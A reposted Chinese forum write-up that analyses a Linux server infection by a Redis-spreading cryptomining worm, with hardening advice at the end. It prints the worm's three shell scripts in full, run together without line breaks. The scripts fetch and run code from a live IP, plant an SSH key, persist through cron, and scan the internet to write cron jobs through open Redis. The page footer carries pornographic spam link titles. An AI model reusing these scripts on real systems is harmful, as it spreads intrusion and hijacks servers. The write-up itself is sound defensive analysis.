1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        記一次 Linux 被入侵全過程

        共 8012字,需瀏覽 17分鐘

         ·

        2021-12-17 11:35

        0x00 背景

        周一早上剛到辦公室,就聽到同事說有一臺服務器登陸不上了,我也沒放在心上,繼續(xù)邊吃早點,邊看幣價是不是又跌了。不一會運維的同事也到了,氣喘吁吁的說:我們有臺服務器被阿里云凍結了,理由:對外惡意發(fā)包。我放下酸菜餡的包子,ssh連了一下,被拒絕了,問了下默認的22端口被封了。讓運維的同事把端口改了一下,立馬連上去,順便看了一下登錄名:root,還有不足8位的小白密碼,心里一涼:被黑了!

        0x01 查找線索

        服務器系統CentOS 6.X,部署了nginx,tomcat,redis等應用,上來先把數據庫全備份到本地,然后top命令看了一下,有2個99%的同名進程還在運行,叫gpg-agentd。

        google了一下gpg,結果是:

        GPG提供的gpg-agent提供了對SSH協議的支持,這個功能可以大大簡化密鑰的管理工作。

        看起來像是一個很正經的程序嘛,但仔細再看看服務器上的進程后面還跟著一個字母d,偽裝的很好,讓人想起來windows上各種看起來像svchost.exe的病毒。繼續(xù)

        ps eho command -p 23374netstat -pan | grep 23374

        查看pid:23374進程啟動路徑和網絡狀況,也就是來到了圖1的目錄,到此已經找到了黑客留下的二進制可執(zhí)行文件。接下來還有2個問題在等著我:

        1、文件是怎么上傳的?
        2、這個文件的目的是什么,或是黑客想干嘛?

        history看一下,記錄果然都被清掉了,沒留下任何痕跡。繼續(xù)命令more messages,

        看到了在半夜12點左右,在服務器上裝了很多軟件,其中有幾個軟件引起了我的注意,下面詳細講。邊找邊猜,如果我們要做壞事,大概會在哪里做文章,自動啟動?定時啟動?對,計劃任務。

        crontab -e

        果然,線索找到了。

        0x02 作案動機

        上面的計劃任務的意思就是每15分鐘去服務器上下載一個腳本,并且執(zhí)行這個腳本。我們把腳本下載下來看一下。

        curl -fsSL 159.89.190.243/ash.php > ash.sh

        腳本內容如下:

        uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron/* 2>/dev/nullmkdir -p /var/spool/cron/crontabs 2>/dev/nullmkdir -p /root/.ssh 2>/dev/nullecho 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keysecho '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/rootyum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullbash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

        大致分析一下該腳本的主要用途:

        首先是關閉SELinux,解除shell資源訪問限制,然后在/root/.ssh/authorized_keys文件中生成ssh公鑰,這樣每次黑客登錄這臺服務器就可以免密碼登錄了,執(zhí)行腳本就會方便很多,關于ssh keys的文章可以參考這一篇文章SSH原理與運用。接下來安裝bash,最后是繼續(xù)下載第二個腳本bsh.php,并且執(zhí)行。

        繼續(xù)下載并分析bsh.pbp,內容如下:

        sleep $( seq 3 7 | sort -R | head -n1 )cd /tmp || cd /var/tmpsleep 1mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...sleep 1if [ -f .watch ]; thenrm -rf .watchexit 0fisleep 1echo 1 > .watchsleep 1ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/nullps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/nullsleep 1if ! [ -x /usr/bin/gpg-agentd ]; thencurl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.dbecho '/usr/bin/gpg-agentd' > /etc/rc.localecho 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.localecho 'exit 0' >> /etc/rc.localfisleep 1chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentdsleep 1if ! [ -x "$(command -v masscan)" ]; thenrm -rf /var/lib/apt/lists/*rm -rf x1.tar.gzif [ -x "$(command -v apt-get)" ]; thenexport DEBIAN_FRONTEND=noninteractiveapt-get update -yapt-get install -y debconf-docapt-get install -y build-essentialapt-get install -y libpcap0.8-dev libpcap0.8apt-get install -y libpcap*apt-get install -y make gcc gitapt-get install -y redis-serverapt-get install -y redis-toolsapt-get install -y redisapt-get install -y iptablesapt-get install -y wget curlfiif [ -x "$(command -v yum)" ]; thenyum update -yyum install -y epel-releaseyum update -yyum install -y git iptables make gcc redis libpcap libpcap-develyum install -y wget curlfisleep 1curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gzsleep 1[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4fisleep 3 && rm -rf .watchbash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

        這段腳本的代碼比較長,但主要的功能有4個:

        1. 下載遠程代碼到本地,添加執(zhí)行權限,chmod u+x。
        2. 修改rc.local,讓本地代碼開機自動執(zhí)行。
        3. 下載github上的開源掃描器代碼,并安裝相關的依賴軟件,也就是我上面的messages里看到的記錄。
        4. 下載第三個腳本,并且執(zhí)行。

        我去github上看了下這個開源代碼,簡直吊炸天。

        MASSCAN: Mass IP port scanner
        This is the fastest Internet port?
        scanner. It can scan the entire Internet in under 6 minutes, >?
        transmitting 10 million packets per second.
        It produces results similar to nmap, the most famous port scanner.?
        Internally, it operates more > like scanrand, unicornscan, and ZMap,?
        using asynchronous transmission. The major difference is > that it's?
        faster than these other scanners. In addition, it's more flexible,?
        allowing arbitrary > address ranges and port ranges.
        NOTE: masscan uses a custom TCP/IP stack. Anything other than simple?
        port scans will cause conflict with the local TCP/IP stack. This means?
        you need to either use the -S option to use a separate IP address, or?
        configure your operating system to firewall the ports that masscan uses.

        transmitting 10 million packets per second(每秒發(fā)送1000萬個數據包),比nmap速度還要快,這就不難理解為什么阿里云把服務器凍結了,大概看了下readme之后,我也沒有細究,繼續(xù)下載第三個腳本。

        setenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000sleep 1iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/nulliptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/nullsleep 1rm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo 'config set dbfilename "backup.db"' > .datecho 'save' >> .datecho 'flushall' >> .datecho 'set backup1 "


        */2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

        "' >> .datecho 'set backup2 "


        */3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

        "' >> .datecho 'set backup3 "


        */4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

        "' >> .datecho 'set backup4 "


        */5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

        "' >> .datecho 'config set dir "/var/spool/cron/"' >> .datecho 'config set dbfilename "root"' >> .datecho 'save' >> .datecho 'config set dir "/var/spool/cron/crontabs"' >> .datecho 'save' >> .datsleep 1masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shardsleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .shardsleep 1masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .rangessleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .rangessleep 1ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inetsleep 1masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lansleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .lansleep 60rm -rf .dat .shard .ranges .lan 2>/dev/null

        如果說前兩個腳本只是在服務器上下載執(zhí)行了二進制文件,那這個腳本才真正顯示病毒的威力。下面就來分析這個腳本。

        一開始的修改系統環(huán)境沒什么好說的,接下來的寫文件操作有點眼熟,如果用過redis的人,應該能猜到,這里是對redis進行配置。寫這個配置,自然也就是利用了redis把緩存內容寫入本地文件的漏洞,結果就是用本地的私鑰去登陸被寫入公鑰的服務器了,無需密碼就可以登陸,也就是我們文章最開始的/root/.ssh/authorized_keys。登錄之后就開始定期執(zhí)行計劃任務,下載腳本。好了,配置文件準備好了,就開始利用masscan進行全網掃描redis服務器,尋找肉雞,注意看這6379就是redis服務器的默認端口,如果你的redis的監(jiān)聽端口是公網IP或是0.0.0.0,并且沒有密碼保護,不好意思,你就中招了。

        0x03 總結

        通過依次分析這3個腳本,就能看出這個病毒的可怕之處,先是通過寫入ssh public key 拿到登錄權限,然后下載執(zhí)行遠程二進制文件,最后再通過redis漏洞復制,迅速在全網傳播,以指數級速度增長。那么問題是,這臺服務器是怎么中招的呢?看了下redis.conf,bind的地址是127.0.0.1,沒啥問題。由此可以推斷,應該是root帳號被暴力破解了,為了驗證我的想法,我lastb看了一下,果然有大量的記錄:

        還剩最后一個問題,這個gpg-agentd程序到底是干什么的呢?我當時的第一個反應就是礦機,因為現在數字貨幣太火了,加大了分布式礦機的需求,也就催生了這條灰色產業(yè)鏈。于是,順手把這個gpg-agentd拖到ida中,用string搜索bitcoin,eth, mine等相關單詞,最終發(fā)現了這個:


        打開 nicehash.com 看一下,一切都清晰了。

        0x04 安全建議

        一、服務器

        1. 禁用ROOT
        2. 用戶名和密碼盡量復雜
        3. 修改ssh的默認22端口
        4. 安裝DenyHosts防暴力破解軟件
        5. 禁用密碼登錄,使用RSA公鑰登錄

        二、redis

        1. 禁用公網IP監(jiān)聽,包括0.0.0.0
        2. 使用密碼限制訪問redis
        3. 使用較低權限帳號運行redis

        到此,整個入侵過程基本分析完了,如果大家對樣本有興趣,也可以自行去curl,或是去虛擬機執(zhí)行上面的腳本。鑒于本人能力有限,文中難免會出現疏忽或是錯誤,還請大家多多指正。

        本文作者:看雪論壇 Hefe ,來源:看雪社區(qū)

        推薦閱讀:

        世界的真實格局分析,地球人類社會底層運行原理

        不是你需要中臺,而是一名合格的架構師(附各大廠中臺建設PPT)

        企業(yè)IT技術架構規(guī)劃方案

        論數字化轉型——轉什么,如何轉?

        華為干部與人才發(fā)展手冊(附PPT)

        企業(yè)10大管理流程圖,數字化轉型從業(yè)者必備!

        【中臺實踐】華為大數據中臺架構分享.pdf

        華為的數字化轉型方法論

        華為如何實施數字化轉型(附PPT)

        超詳細280頁Docker實戰(zhàn)文檔!開放下載

        華為大數據解決方案(PPT)

        瀏覽 62
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
        評論
        圖片
        表情
        推薦
        點贊
        評論
        收藏
        分享

        手機掃一掃分享

        分享
        舉報
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            影音先锋豆花站 | 公妇乱淫1集 | 成人无码片在线观看 | 日韩欧美久久 | 欧美口爆 | 国产成人无码www免费视频播放 | 欧美高清不卡 | 亚洲AV秘 无码 | 成人免费毛片 嘿嘿视频 | 久久人人超碰 |